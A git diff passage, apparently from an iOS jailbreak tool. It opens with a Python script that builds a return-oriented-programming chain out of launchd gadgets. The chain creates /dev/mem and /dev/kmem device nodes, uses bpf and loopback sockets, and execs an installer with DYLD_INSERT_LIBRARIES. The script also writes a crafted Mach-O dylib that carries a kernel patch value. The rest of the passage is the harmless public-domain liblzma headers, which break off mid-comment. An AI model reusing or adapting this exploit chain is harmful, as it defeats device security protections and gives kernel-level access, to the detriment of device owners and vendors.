__init__(self, a, b): + self.a = a + self.b = b + def __trunc__(self): + return int(self.a) + int(self.b) +class car: + def __trunc__(self): + if not hasattr(self, '_val'): + self._val = self.val() + return self._val + def __add__(self, other): + return plusser(self, other) +class ptrI(car): + def __init__(self, *args): + self.args = args + def val(self): + global sheapaddr, sheap + q = struct.pack('I'*len(self.args), *self.args) + ret = sheapaddr + len(sheap) + sheap += q + while len(sheap) % 4 != 0: sheap += '\0' + return ret +class ptr(car): + def __init__(self, str, null_terminate=False): + self.str = str + self.null_terminate = null_terminate + def val(self): + global sheapaddr, sheap + ret = sheapaddr + len(sheap) + sheap += self.str + if self.null_terminate: sheap += '\0' + while len(sheap) % 4 != 0: sheap += '\0' + return ret + +class beef: + def __init__(self, funcname): + self.funcname = funcname + def __trunc__(self): + global heap, heapstuff, hidx + relocs.append((heapaddr + len(heap) + 4*hidx, self.funcname)) + return 0 + +def ldr_r0_x(x): + set_fwd('R4', x) + set_fwd('PC', launchd['10']) + exhaust_fwd('R5', 'R6', 'R7') + return [fwd('R4'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')] + +def mov_r0_x(x): + set_fwd('R6', x) + set_fwd('PC', launchd['11']) + exhaust_fwd('R4', 'R5', 'R7') + return [fwd('R4'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')] + +def funcall(funcname, a1=dontcare, a2=dontcare, a3=dontcare, load=False): + neg8 = launchd.has_key('-8') + if load: + ret = ldr_r0_x(a1) + set_fwd('PC', nexti(launchd['-8' if neg8 else '8'])) + exhaust_fwd('R4') + else: + set_fwd('R4', a1) + ret = [] + set_fwd('PC', launchd['-8' if neg8 else '8']) + set_fwd('R6' if neg8 else 'R5', a2) + set_fwd('R5' if neg8 else 'R6', a3) + exhaust_fwd('R7') + return ret + [dontcare, dontcare, dontcare, dontcare, beef(funcname), fwd('R4'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')] + +def str_r0_x(s): + set_fwd('R5', s) + if launchd.has_key('-9'): + set_fwd('PC', launchd['-9']) + exhaust_fwd('R4', 'R7') + return [fwd('R4'), fwd('R5'), fwd('R7'), fwd('PC')] + else: + set_fwd('PC', launchd['9']) + exhaust_fwd('R4', 'R6', 'R7') + return [fwd('R4'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')] + + +heap = '' + +insns = open('insns.txt', 'rb').read() +s4 = ptrI(32) +s5 = ptrI(len(insns)/8, ptr(insns)) +s_envp = ptrI(ptr('DYLD_INSERT_LIBRARIES=', True), 0) +s_install = ptr('/var/mobile/Media/spirit/install', True) +s_install_argp = ptrI(s_install, 0) +s_launchd = ptr('/sbin/launchd', True) +s_launchd_argp = ptrI(s_launchd, 0) +# 127.0.0.1:31337 +s_addy = ptr(struct.pack('>BBHIII', 0, 2, 31337, 0x7f000001, 0, 0)) +hello = 'hi' +s_msg = ptr(hello) +s_iovec = ptrI(s_msg, len(hello), s_msg, len(hello)) +s_msghdr = ptrI(s_addy, 16, s_iovec, 2, 0, 0, 0) +s_fd = ptr('\0\0\0\0') +s_fd2 = ptr('\0\0\0\0') + +heapstuff = [fwd('R4'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')] + +heapstuff += funcall('_mknod', ptr('/dev/mem', True), 020600, 0x3000000) +heapstuff += funcall('_mknod', ptr('/dev/kmem', True), 020600, 0x3000001) + +heapstuff += funcall('_open', ptr('/dev/bpf0', True), 0) +heapstuff += str_r0_x(s_fd) +heapstuff += funcall('_ioctl', s_fd, 0xc0044266, s4, load=True) +heapstuff += funcall('_ioctl', s_fd, 0x8020426c, ptr('lo0', True), load=True) +heapstuff += funcall('_ioctl', s_fd, 0x80084267, s5, load=True) + +heapstuff += funcall('_socket', 2, 2, 0) +heapstuff += str_r0_x(s_fd2) +heapstuff += funcall('_sendmsg', s_fd2, s_msghdr, 0, load=True) + +heapstuff += funcall('_chmod', s_install, 0755) +heapstuff += funcall('_close', s_fd, load=True) +heapstuff += funcall('_execve', s_install, s_install_argp, s_envp) + +# Okay that failed, so we are not installing and need to set up lo and stuff +# _socket should have succeeded though + +# This part mimics launchctl.c + +if debug_mode: + def poop(name): + s = '/dev/poop_%s__\0\0\0\0' % name + sp = ptr(s, True) + return str_r0_x(sp + s.find('\0')) + funcall('_symlink', sp, sp) +else: + def poop(name): + return [] + +s_ifreq = ptr('lo0' + '\0'*29) +heapstuff += funcall('_ioctl', s_fd2, 0xc0206911, s_ifreq, load=True) +heapstuff += poop('gif') +heapstuff += mov_r0_x(0x80490000) +heapstuff += str_r0_x(s_ifreq + 14) +heapstuff += funcall('_ioctl', s_fd2, 0x80206910, s_ifreq, load=True) +heapstuff += poop('sif') + +s_ifra = 'lo0' + '\0'*13 + struct.pack('>BBHI', 16, 2, 0, 0x7f000001) + '\0'*24 + struct.pack('>BBHI', 16, 2, 0, 0xff000000) + '\0'*8 +assert len(s_ifra) == 64 +s_ifra = ptr(s_ifra) +heapstuff += funcall('_ioctl', s_fd2, 0x8040691a, s_ifra, load=True) +heapstuff += poop('ifraioctl') + +heapstuff += funcall('_open', ptr('/dev/bpf0', True), 0) +heapstuff += str_r0_x(s_fd) +heapstuff += funcall('_ioctl', s_fd, 0xc0044266, s4, load=True) +heapstuff += poop('bpfioctl1') +heapstuff += funcall('_ioctl', s_fd, 0x8020426c, ptr('lo0', True), load=True) +heapstuff += poop('bpfioctl2') +heapstuff += funcall('_ioctl', s_fd, 0x80084267, s5, load=True) +heapstuff += poop('bpfioctl3') + +heapstuff += funcall('_sendmsg', s_fd2, s_msghdr, 0, load=True) +heapstuff += poop('sendmsg') + +if debug_mode: + heapstuff += ldr_r0_x(beef('_errno')) + heapstuff += poop('sendmsg_errno') + +heapstuff += funcall('_close', s_fd, load=True) +heapstuff += funcall('_execve', s_launchd, s_launchd_argp, s_envp) +clear_fwd() + +interpose = [] +for k in myreps: + interpose.append(ptr(k)) + interpose.append(ptr('_interpose' + k)) + +sheapaddr = heapaddr + 4*len(heapstuff) +sheap = '' + +for hidx in xrange(len(heapstuff)): + heapstuff[hidx] = int(heapstuff[hidx]) + +heap += struct.pack('I'*len(heapstuff), *heapstuff) +heap += sheap +assert len(heap) < 0x1654 +heap += '\0' * (0x1654 - len(heap)) +heap += struct.pack('IIII', dontcare, dontcare, heapaddr + 12, launchd['7']) + +heapsize = len(heap) + +for k, v in myreps.items(): + relocs.append((heapaddr + len(heap) + 4, k)) + heap += struct.pack('II', v, 0) + + + +li = len(imports) +strings = '\0' + '\0'.join(sorted(imports)) + '\0' +fp = open(sys.argv[1], 'wb') +OFF = 0 +def f(x): + global OFF + if isinstance(x, basestring): + fp.write(x) + OFF += len(x) + else: + fp.write(struct.pack('I', x)) + OFF += 4 + +lc_size = 0x7c + 0x50 + 0x18 # size of load commands + +f(0xfeedface) # magic +if arch == 'armv6': + f(12) # CPU_TYPE_ARM + f(6) # CPU_SUBTYPE_ARM_V6 +elif arch == 'armv7': + f(12) # CPU_TYPE_ARM + f(9) # CPU_SUBTYPE_ARM_V7 +elif arch == 'i386': + f(7) + f(3) +f(6) # MH_DYLIB +f(6) # number of load commands +f(123) # overwrite this +f(0x00000104) # flags + +# Load commands +# linkedit! +# LC_SEGMENT +f(1) +f(56) +f('__LINKEDIT' + '\0'*6) +f(baseaddr) # vmaddr +f(0x1000) # vmsize +f(0) # fileoff +f(0x1000) # filesize +f(3) # maxprot +f(3) # initprot +f(0) # no sections +f(0) # flags=0 + +# LC_SEGMENT +f(1) +f(56 + 68) +f('__TEXT' + '\0'*10) +f(baseaddr+0x1000) # vmaddr +f(beforesize - 0x1000) # vmsize +f(0x1000) # fileoff +linky = OFF +f(0x1000) # filesize +f(3) # maxprot = VM_PROT_READ | VM_PROT_WRITE +f(3) # initprot = VM_PROT_READ | VM_PROT_WRITE +f(1) # 2 sections +f(0) # flags=0 + +# Section 1 +f('__text' + '\0'*10) +f('__TEXT' + '\0'*10) +f(baseaddr+0x1000) # address +f(0x1000) # size +f(0x1000) # off +f(0) # align +f(0x1000) # reloff +f(len(relocs)) # nreloc +f(0) # flags +f(0) # reserved1 +f(0) # reserved2 + +# LC_SEGMENT +f(1) +f(56 + 2*68) +f('__DATA' + '\0'*10) +f(heapaddr) # vmaddr +f(0x2000) # vmsize +f(0x2000) # fileoff +linky2 = OFF +f(0x2000) # filesize +f(3) # maxprot = VM_PROT_READ | VM_PROT_WRITE +f(3) # initprot = VM_PROT_READ | VM_PROT_WRITE +f(2) # 2 sections +f(0) # flags=0 + +# Section 1 +f('__heap' + '\0'*10) +f('__DATA' + '\0'*10) +f(heapaddr) # address +split1 = OFF +f(0xbeef) # size +f(0x2000) # off +f(0) # align +f(0) # reloff +f(0) # nreloc +f(0) # flags +f(0) # reserved1 +f(0) # reserved2 + +# Section 2 +f('__interpose' + '\0'*5) +f('__DATA' + '\0'*10) +split2 = OFF +f(0xbeef) # address +f(0xbeef) # size +f(0xbeef) # off +f(0) # align +f(0) # reloff +f(0) # nreloc +f(0) # flags +f(0) # reserved1 +f(0) # reserved2 + +f(0xc) # LC_LOAD_DYLIB +path = 'libSystem.dylib' +while len(path) % 4 != 0: path += '\x00' +f(6*4 + len(path)) +f(24) +f(0) # timestamp +f(0) # version +f(0) # version +f(path) + +f(2) # LC_SYMTAB +f(4*6) +f(0x1000 + 8*len(relocs)) # symbol table offset +f(li) # nsyms +stringy = OFF +f(0) # stroff +f(len(strings)) # strsize + +# dyld crashes without this +f(0xb) # LC_DYSYMTAB +f(0x50) +f(0); f(0) # local +f(li); f(0) # extdef +f(0); f(0) # undef +f(0); f(0) # toc +f(0); f(0) # modtab +f(0); f(0) # extrefsym +f(0); f(0) # indirectsym +f(0x1000); f(len(relocs)) # extrel +f(0); f(0) # locrel + +fp.seek(0x14) +fp.write(struct.pack('I', OFF - 0x1c)) +fp.seek(OFF) + + + +fp.seek(0x1000) # __TEXT +OFF = 0x1000 + +# Relocations +for addr, new in relocs: + f(addr - baseaddr) + f(0x0c000000 | imports.index(new)) + + +# Symbol table - undefined +for imp in imports: + f(strings.find('\0'+imp+'\0') + 1) + f('\x01') + f('\x00') + f('\x20\x00') # N_GSYM + f(0) # n_value + + +fp.seek(stringy) +fp.write(struct.pack('I', OFF)) +fp.seek(OFF) +f(strings) + + +fp.seek(0x2000) +OFF = 0x2000 +fp.write(heap) + +assert fp.tell() < 0x4000 +OFF = fp.tell() + +# Tack this on at the end for the installer to find +# (lame but whatever) +fp.write(struct.pack('I', config['kern']['vnode_patch'])) + +fp.seek(split1) +fp.write(struct.pack('I', heapsize)) +fp.seek(split2) +fp.write(struct.pack('III', heapaddr + heapsize, 8*len(myreps), 0x2000 + heapsize)) +fp.seek(linky) +fp.write(struct.pack('I', OFF - 0x1000)) +fp.seek(linky2) +fp.write(struct.pack('I', OFF - 0x2000)) + diff --git a/igor/xz/lzma.h b/igor/xz/lzma.h new file mode 100644 index 0000000..44de60a --- /dev/null +++ b/igor/xz/lzma.h @@ -0,0 +1,321 @@ +/** + * \file api/lzma.h + * \brief The public API of liblzma data compression library + * + * liblzma is a public domain general-purpose data compression library with + * a zlib-like API. The native file format is .xz, but also the old .lzma + * format and raw (no headers) streams are supported. Multiple compression + * algorithms (filters) are supported. Currently LZMA2 is the primary filter. + * + * liblzma is part of XZ Utils . XZ Utils includes + * a gzip-like command line tool named xz and some other tools. XZ Utils + * is developed and maintained by Lasse Collin. + * + * Major parts of liblzma are based on Igor Pavlov's public domain LZMA SDK + * . + * + * The SHA-256 implementation is based on the public domain code found from + * 7-Zip , which has a modified version of the public + * domain SHA-256 code found from Crypto++ . + * The SHA-256 code in Crypto++ was written by Kevin Springle and Wei Dai. + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + */ + +#ifndef LZMA_H +#define LZMA_H + +/***************************** + * Required standard headers * + *****************************/ + +/* + * liblzma API headers need some standard types and macros. To allow + * including lzma.h without requiring the application to include other + * headers first, lzma.h includes the required standard headers unless + * they already seem to be included already or if LZMA_MANUAL_HEADERS + * has been defined. + * + * Here's what types and macros are needed and from which headers: + * - stddef.h: size_t, NULL + * - stdint.h: uint8_t, uint32_t, uint64_t, UINT32_C(n), uint64_C(n), + * UINT32_MAX, UINT64_MAX + * + * However, inttypes.h is a little more portable than stdint.h, although + * inttypes.h declares some unneeded things compared to plain stdint.h. + * + * The hacks below aren't perfect, specifically they assume that inttypes.h + * exists and that it typedefs at least uint8_t, uint32_t, and uint64_t, + * and that, in case of incomplete inttypes.h, unsigned int is 32-bit. + * If the application already takes care of setting up all the types and + * macros properly (for example by using gnulib's stdint.h or inttypes.h), + * we try to detect that the macros are already defined and don't include + * inttypes.h here again. However, you may define LZMA_MANUAL_HEADERS to + * force this file to never include any system headers. + * + * Some could argue that liblzma API should provide all the required types, + * for example lzma_uint64, LZMA_UINT64_C(n), and LZMA_UINT64_MAX. This was + * seen unnecessary mess, since most systems already provide all the necessary + * types and macros in the standard headers. + * + * Note that liblzma API still has lzma_bool, because using stdbool.h would + * break C89 and C++ programs on many systems. sizeof(bool) in C99 isn't + * necessarily the same as sizeof(bool) in C++. + */ + +#ifndef LZMA_MANUAL_HEADERS + /* + * I suppose this works portably also in C++. Note that in C++, + * we need to get size_t into the global namespace. + */ +# include + + /* + * Skip inttypes.h if we already have all the required macros. If we + * have the macros, we assume that we have the matching typedefs too. + */ +# if !defined(UINT32_C) || !defined(UINT64_C) \ + || !defined(UINT32_MAX) || !defined(UINT64_MAX) + /* + * MSVC has no C99 support, and thus it cannot be used to + * compile liblzma. The liblzma API has to still be usable + * from MSVC, so we need to define the required standard + * integer types here. + */ +# if defined(_WIN32) && defined(_MSC_VER) + typedef unsigned __int8 uint8_t; + typedef unsigned __int32 uint32_t; + typedef unsigned __int64 uint64_t; +# else + /* Use the standard inttypes.h. */ +# ifdef __cplusplus + /* + * C99 sections 7.18.2 and 7.18.4 specify that + * in C++ implementations define the limit + * and constant macros only if specifically + * requested. Note that if you want the + * format macros (PRIu64 etc.) too, you need + * to define __STDC_FORMAT_MACROS before + * including lzma.h, since re-including + * inttypes.h with __STDC_FORMAT_MACROS + * defined doesn't necessarily work. + */ +# ifndef __STDC_LIMIT_MACROS +# define __STDC_LIMIT_MACROS 1 +# endif +# ifndef __STDC_CONSTANT_MACROS +# define __STDC_CONSTANT_MACROS 1 +# endif +# endif + +# include +# endif + + /* + * Some old systems have only the typedefs in inttypes.h, and + * lack all the macros. For those systems, we need a few more + * hacks. We assume that unsigned int is 32-bit and unsigned + * long is either 32-bit or 64-bit. If these hacks aren't + * enough, the application has to setup the types manually + * before including lzma.h. + */ +# ifndef UINT32_C +# if defined(_WIN32) && defined(_MSC_VER) +# define UINT32_C(n) n ## UI32 +# else +# define UINT32_C(n) n ## U +# endif +# endif + +# ifndef UINT64_C +# if defined(_WIN32) && defined(_MSC_VER) +# define UINT64_C(n) n ## UI64 +# else + /* Get ULONG_MAX. */ +# include +# if ULONG_MAX == 4294967295UL +# define UINT64_C(n) n ## ULL +# else +# define UINT64_C(n) n ## UL +# endif +# endif +# endif + +# ifndef UINT32_MAX +# define UINT32_MAX (UINT32_C(4294967295)) +# endif + +# ifndef UINT64_MAX +# define UINT64_MAX (UINT64_C(18446744073709551615)) +# endif +# endif +#endif /* ifdef LZMA_MANUAL_HEADERS */ + + +/****************** + * LZMA_API macro * + ******************/ + +/* + * Some systems require (or at least recommend) that the functions and + * function pointers are declared specially in the headers. LZMA_API_IMPORT + * is for importing symbols and LZMA_API_CALL is to specify calling + * convention. + * + * By default it is assumed that the application will link dynamically + * against liblzma. #define LZMA_API_STATIC in your application if you + * want to link against static liblzma. If you don't care about portability + * to operating systems like Windows, or at least don't care about linking + * against static liblzma on them, don't worry about LZMA_API_STATIC. That + * is, most developers will never need to use LZMA_API_STATIC. + * + * Cygwin is a special case on Windows. We rely on GCC doing the right thing + * and thus don't use dllimport and don't specify the calling convention. + */ +#ifndef LZMA_API_IMPORT +# if !defined(LZMA_API_STATIC) && defined(_WIN32) && !defined(__CYGWIN__) +# define LZMA_API_IMPORT __declspec(dllimport) +# else +# define LZMA_API_IMPORT +# endif +#endif + +#ifndef LZMA_API_CALL +# if defined(_WIN32) && !defined(__CYGWIN__) +# define LZMA_API_CALL __cdecl +# else +# define LZMA_API_CALL +# endif +#endif + +#ifndef LZMA_API +# define LZMA_API(type) LZMA_API_IMPORT type LZMA_API_CALL +#endif + + +/*********** + * nothrow * + ***********/ + +/* + * None of the functions in liblzma may throw an exception. Even + * the functions that use callback functions won't throw exceptions, + * because liblzma would break if a callback function threw an exception. + */ +#ifndef lzma_nothrow +# if defined(__cplusplus) +# define lzma_nothrow throw() +# elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) +# define lzma_nothrow __attribute__((__nothrow__)) +# else +# define lzma_nothrow +# endif +#endif + + +/******************** + * GNU C extensions * + ********************/ + +/* + * GNU C extensions are used conditionally in the public API. It doesn't + * break anything if these are sometimes enabled and sometimes not, only + * affects warnings and optimizations. + */ +#if __GNUC__ >= 3 +# ifndef lzma_attribute +# define lzma_attribute(attr) __attribute__(attr) +# endif + +# ifndef lzma_restrict +# define lzma_restrict __restrict__ +# endif + + /* warn_unused_result was added in GCC 3.4. */ +# ifndef lzma_attr_warn_unused_result +# if __GNUC__ == 3 && __GNUC_MINOR__ < 4 +# define lzma_attr_warn_unused_result +# endif +# endif + +#else +# ifndef lzma_attribute +# define lzma_attribute(attr) +# endif + +# ifndef lzma_restrict +# if __STDC_VERSION__ >= 199901L +# define lzma_restrict restrict +# else +# define lzma_restrict +# endif +# endif +#endif + + +#ifndef lzma_attr_pure +# define lzma_attr_pure lzma_attribute((__pure__)) +#endif + +#ifndef lzma_attr_const +# define lzma_attr_const lzma_attribute((__const__)) +#endif + +#ifndef lzma_attr_warn_unused_result +# define lzma_attr_warn_unused_result \ + lzma_attribute((__warn_unused_result__)) +#endif + + +/************** + * Subheaders * + **************/ + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Subheaders check that this is defined. It is to prevent including + * them directly from applications. + */ +#define LZMA_H_INTERNAL 1 + +/* Basic features */ +#include "lzma/version.h" +#include "lzma/base.h" +#include "lzma/vli.h" +#include "lzma/check.h" + +/* Filters */ +#include "lzma/filter.h" +#include "lzma/subblock.h" +#include "lzma/bcj.h" +#include "lzma/delta.h" +#include "lzma/lzma.h" + +/* Container formats */ +#include "lzma/container.h" + +/* Advanced features */ +#include "lzma/stream_flags.h" +#include "lzma/block.h" +#include "lzma/index.h" +#include "lzma/index_hash.h" + +/* + * All subheaders included. Undefine LZMA_H_INTERNAL to prevent applications + * re-including the subheaders. + */ +#undef LZMA_H_INTERNAL + +#ifdef __cplusplus +} +#endif + +#endif /* ifndef LZMA_H */ diff --git a/igor/xz/lzma/base.h b/igor/xz/lzma/base.h new file mode 100644 index 0000000..0155506 --- /dev/null +++ b/igor/xz/lzma/base.h @@ -0,0 +1,596 @@ +/** + * \file lzma/base.h + * \brief Data types and functions used in many places in liblzma API + */ + +/* + * Author: Lasse Collin + * + * This file has been put into the public domain. + * You can do whatever you want with this file. + * + * See ../lzma.h for information about liblzma as a whole. + */ + +#ifndef LZMA_H_INTERNAL +# error Never include this file directly. Use instead. +#endif + + +/** + * \brief Boolean + * + * This is here because C89 doesn't have stdbool.h. To set a value for + * variables having type lzma_bool, you can use + * - C99's `true' and `false' from stdbool.h; + * - C++'s internal `true' and `false'; or + * - integers one (true) and zero (false). + */ +typedef unsigned char lzma_bool; + + +/** + * \brief Type of reserved enumeration variable in structures + * + * To avoid breaking library ABI when new features are added, several + * structures contain extra variables that may be used in future. Since + * sizeof(enum) can be different than sizeof(int), and sizeof(enum) may + * even vary depending on the range of enumeration constants, we specify + * a separate type to be used for reserved enumeration variables. All + * enumeration constants in liblzma API will be non-negative and less + * than 128, which should guarantee that the ABI won't break even when + * new constants are added to existing enumerations. + */ +typedef enum { + LZMA_RESERVED_ENUM = 0 +} lzma_reserved_enum; + + +/** + * \brief Return values used by several functions in liblzma + * + * Check the descriptions of specific functions to find out which return + * values they can return. With some functions the return values may have + * more specific meanings than described here; those differences are + * described per-function basis. + */ +typedef enum { + LZMA_OK = 0, + /**< + * \brief Operation completed successfully + */ + + LZMA_STREAM_END = 1, + /**< + * \brief End of stream was reached + * + * In encoder, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, or + * LZMA_FINISH was finished. In decoder, this indicates + * that all the data was successfully decoded. + * + * In all cases, when LZMA_STREAM_END is returned, the last + * output bytes should be picked from strm->next_out. + */ + + LZMA_NO_CHECK = 2, + /**< + * \brief Input stream has no integrity check + * + * This return value can be returned only if the + * LZMA_TELL_NO_CHECK flag was used when initializing + * the decoder. LZMA_NO_CHECK is just a warning, and + * the decoding can be continued normally. + * + * It is possible to call lzma_get_check() immediatelly after + * lzma_code has returned LZMA_NO_CHECK. The result will + * naturally be LZMA_CHECK_NONE, but the possibility to call + * lzma_get_check() may be convenient in some applications. + */ + + LZMA_UNSUPPORTED_CHECK = 3, + /**< + * \brief Cannot calculate the integrity check + * + * The usage of this return value is different in encoders + * and decoders. + * + * Encoders can return this value only from the initialization + * function. If initialization fails with this value, the + * encoding cannot be done, because there's no way to produce + * output with the correct integrity check. + * + * Decoders can return this value only from lzma_code() and + * only if the LZMA_TELL_UNSUPPORTED_CHECK flag was used when + * initializing the decoder. The decoding can still be + * continued normally even if the check type is unsupported, + * but naturally the check will not be validated, and possible + * errors may go undetected. + * + * With decoder, it is possible to call lzma_get_check() + * immediatelly after lzma_code() has returned + * LZMA_UNSUPPORTED_CHECK. This way it is possible to find + * out what the unsupported Check ID was. + */ + + LZMA_GET_CHECK = 4, + /**< + * \brief Integrity check type is now available + * + * This value can be returned only by the lzma_code() function + * and only if the decoder was initialized with the + * LZMA_TELL_ANY_CHECK flag. LZMA_GET_CHECK tells the + * application that it may now call lzma_get_check() to find + * out the Check ID. This can be used, for example, to + * implement a decoder that accepts only files that have + * strong enough integrity check. + */ + + LZMA_MEM_ERROR = 5, + /**< + * \brief Cannot allocate memory + * + * Memory allocation failed, or the size of the allocation + * would be greater than SIZE_MAX. + * + * Due to internal implementation reasons, the coding cannot + * be continued even if more memory were made available after + * LZMA_MEM_ERROR. + */ + + LZMA_MEMLIMIT_ERROR = 6, + /** + * \brief Memory usage limit was reached + * + * Decoder would need more memory than allowed by the + * specified memory usage limit. To continue decoding, + * the memory usage limit has to be increased with + * lzma_memlimit_set(). + */ + + LZMA_FORMAT_ERROR = 7, + /**< + * \brief File format not recognized + * + * The decoder did not recognize the input as supported file + * format. This error can occur, for example, when trying to + * decode .lzma format file with lzma_stream_decoder, + * because lzma_stream_decoder accepts only the .xz format. + */ + + LZMA_OPTIONS_ERROR = 8, + /**< + * \brief Invalid or unsupported options + * + * Invalid or unsupported options, for example + * - unsupported filter(s) or filter options; or + * - reserved bits set in headers (decoder only). + * + * Rebuilding liblzma with more features enabled, or + * upgrading to a newer version of liblzma may help. + */ + + LZMA_DATA_ERROR = 9, + /**< + * \brief Data is corrupt + * + * The usage of this return value is different in encoders + * and decoders. In both encoder and decoder, the coding + * cannot continue after this error. + * + * Encoders return this if size limits of the target file + * format would be exceeded. These limits are huge, thus + * getting this error from an encoder is mostly theoretical. + * For example, the maximum compressed and uncompressed + * size of a .xz Stream is roughly 8 EiB (2^63 bytes). + * + * Decoders return this error if the input data is corrupt. + * This can mean, for example, invalid CRC32 in headers + * or invalid check of uncompressed data. + */ + + LZMA_BUF_ERROR = 10, + /**< + * \brief No progress is possible + * + * This error code is returned when the coder cannot consume + * any new input and produce any new output. The most common + * reason for this error is that the input stream being + * decoded is truncated or corrupt. + * + * This error is not fatal. Coding can be continued normally + * by providing more input and/or more output space, if + * possible. + * + * Typically the first call to lzma_code() that can do no + * progress returns LZMA_OK instead of LZMA_BUF_ERROR. Only + * the second consecutive call doing no progress will return + * LZMA_BUF_ERROR. This is intentional. + * + * With zlib, Z_BUF_ERROR may be returned even if the + * application is doing nothing wrong, so apps will need + * to handle Z_BUF_ERROR specially. The above hack + * guarantees that liblzma never returns LZMA_BUF_ERROR + * to properly written applications unless the input file + * is truncated or corrupt. This should simplify the + * applications a little. + */ + + LZMA_PROG_ERROR = 11, + /**< + * \brief Programming error + * + * This indicates that the arguments given to the function are + * invalid or the internal state of the decoder is corrupt. + * - Function arguments are invalid or the structures + * pointed by the argument pointers are invalid + * e.g. if strm->next_out has been set to NULL and + * strm->avail_out > 0 when calling lzma_code(). + * - lzma_* functions have been called in wrong order + * e.g. lzma_code() was called right after lzma_end(). + * - If errors occur randomly, the reason might be flaky + * hardware. + * + * If you think that your code is correct, this error code + * can be a sign of a bug in liblzma. See the documentation + * how to report bugs. + */ +} lzma_ret; + + +/** + * \brief The `action' argument for lzma_code() + * + * After the first use of LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, or LZMA_FINISH, + * the same `action' must is used until lzma_code() returns LZMA_STREAM_END. + * Also, the amount of input (that is, strm->avail_in) must not be modified + * by the application until lzma_code() returns LZMA_STREAM_END. Changing the + * `action' or modifying the amount of input will make lzma_code() return + * LZMA_PROG_ERROR. + */ +typedef enum { + LZMA_RUN = 0, + /**< + * \brief Continue coding + * + * Encoder: Encode as much input as possible. Some internal + * buffering will probably be done (depends on the filter + * chain in use), which causes latency: the input used won't + * usually be decodeable from the output of the same + * lzma_code() call. + * + * Decoder: Decode as much input as possible and produce as + * much output as possible. + */ + + LZMA_SYNC_FLUSH = 1, + /**< + * \brief Make all the input available at output + * + * Normally the encoder introduces some latency. + * LZMA_SYNC_FLUSH forces all the buffered data to be + * available at output without resetting the internal + * state of the encoder. This way it is possible to use + * compressed stream for example for communication over + * network. + * + * Only some filters support LZMA_SYNC_FLUSH. Trying to use + * LZMA_SYNC_FLUSH with filters that don't support it will + * make lzma_code() return LZMA_OPTIONS_ERROR. For example, + * LZMA1 doesn't support LZMA_SYNC_FLUSH but LZMA2 does. + * + * Using LZMA_SYNC_FLUSH very often can dramatically reduce + * the compression ratio. With some filters (for example, + * LZMA2), finetuning the compression options may help + * mitigate this problem significantly. + * + * Decoders don't support LZMA_SYNC_FLUSH. + */ + + LZMA_FULL_FLUSH = 2, + /**< + * \brief Make all the input available at output + * + * Finish encoding of the current Block. All the input + * data going to the current Block must have been given + * to the encoder (the last bytes can still be pending in + * next_in). Call lzma_code() with LZMA_FULL_FLUSH until + * it returns LZMA_STREAM_END. Then continue normally with + * LZMA_RUN or finish the Stream with LZMA_FINISH. + * + * This action is currently supported only by Stream encoder + * and easy encoder (which uses Stream encoder). If there is + * no unfinished Block, no empty Block is created. + */ + + LZMA_FINISH = 3 + /**< + * \brief Finish the coding operation + * + * Finishes the coding operation. All the input data must + * have been given to the encoder (the last bytes can still + * be pending in next_in). Call lzma_code() with LZMA_FINISH + * until it returns LZMA_STREAM_END. Once LZMA_FINISH has + * been used, the amount of input must no longer be changed + * by the application. + * + * When decoding, using LZMA_FINISH is optional unless the + * LZMA_CONCATENATED flag was used when the decoder was + * initialized. When LZMA_CONCATENATED was not used, the only + * effect of LZMA_FINISH is that the amount of input must not + * be changed just like in the encoder. + */ +} lzma_action; + + +/** + * \brief Custom functions for memory handling + * + * A pointer to lzma_allocator may be passed via lzma_stream structure + * to liblzma, and some advanced functions take a pointer to lzma_allocator + * as a separate function argument. The library will use the functions + * specified in lzma_allocator for memory handling instead of the default + * malloc() and free(). C++ users should note that the custom memory + * handling functions must not throw exceptions. + * + * liblzma doesn't make an internal copy of lzma_allocator. Thus, it is + * OK to change these function pointers in the middle of the coding + * process, but obviously it must be done carefully to make sure that the + * replacement `free' can deallocate memory allocated by the earlier + * `alloc' function(s). + */ +typedef struct { + /** + * \brief Pointer to a custom memory allocation function + * + * If you don't want a custom allocator, but still want + * custom free(), set this to NULL and liblzma will use + * the standard malloc(). + * + * \param opaque lzma_allocator.opaque (see below) + * \param nmemb Number of elements like in calloc(). liblzma + * will always set nmemb to 1, so it is safe to + * ignore nmemb in a custom allocator if you like. + * The nmemb argument exists only for + * compatibility with zlib and libbzip2. + * \param size Size of an element in bytes. + * liblzma never sets this to zero. + * + * \return Pointer to the beginning of a memory block of + * `size' bytes, or NULL if allocation fails + * for some reason. When allocation fails, functions + * of liblzma return LZMA_MEM_ERROR. + * + * The allocator should not waste time zeroing the allocated buffers. + * This is not only about speed, but also memory usage, since the + * operating system kernel doesn't necessarily allocate the requested + * memory in physical memory until it is actually used. With small + * input files, liblzma may actually need only a fraction of the + * memory that it requested for allocation. + * + * \note LZMA_MEM_ERROR is also used when the size of the + * allocation would be greater than SIZE_MAX. Thus, + * don't assume that the custom allocator must have + * returned NULL if some function from liblzma + * returns LZMA_MEM_ERROR. + */ + void *(LZMA_API_CALL *alloc)(void *opaque, size_t nmemb, size_t size); + + /** + * \brief Pointer to a custom memory freeing function + * + * If you don't want a custom freeing function, but still + * want a custom allocator, set this to NULL and liblzma + * will use the standard free(). + * + * \param opaque lzma_allocator.opaque (see below) + * \param ptr Pointer returned by lzma_allocator.alloc(), + * or when it is set to NULL, a pointer returned + * by the standard malloc(). + */ + void (LZMA_API_CALL *free)(void *opaque, void *ptr); + + /** + * \brief Pointer passed to .alloc() and .free() + * + * opaque is passed as the first argument to lzma_allocator.alloc() + * and lzma_allocator.free(). This intended to ease implementing + * custom memory allocation functions for use with liblzma. + * + * If you don't need this, you should set this to NULL. + */ + void *opaque; + +} lzma_allocator; + + +/** + * \brief Internal data structure + * + * The contents of this structure is not visible outside the library. + */ +typedef struct lzma_internal_s lzma_internal; + + +/** + * \brief Passing data to and from liblzma + * + * The lzma_stream structure is used for + * - passing pointers to input and output buffers to liblzma; + * - defining custom memory hander functions; and + * - holding a pointer to coder-specific internal data structures. + * + 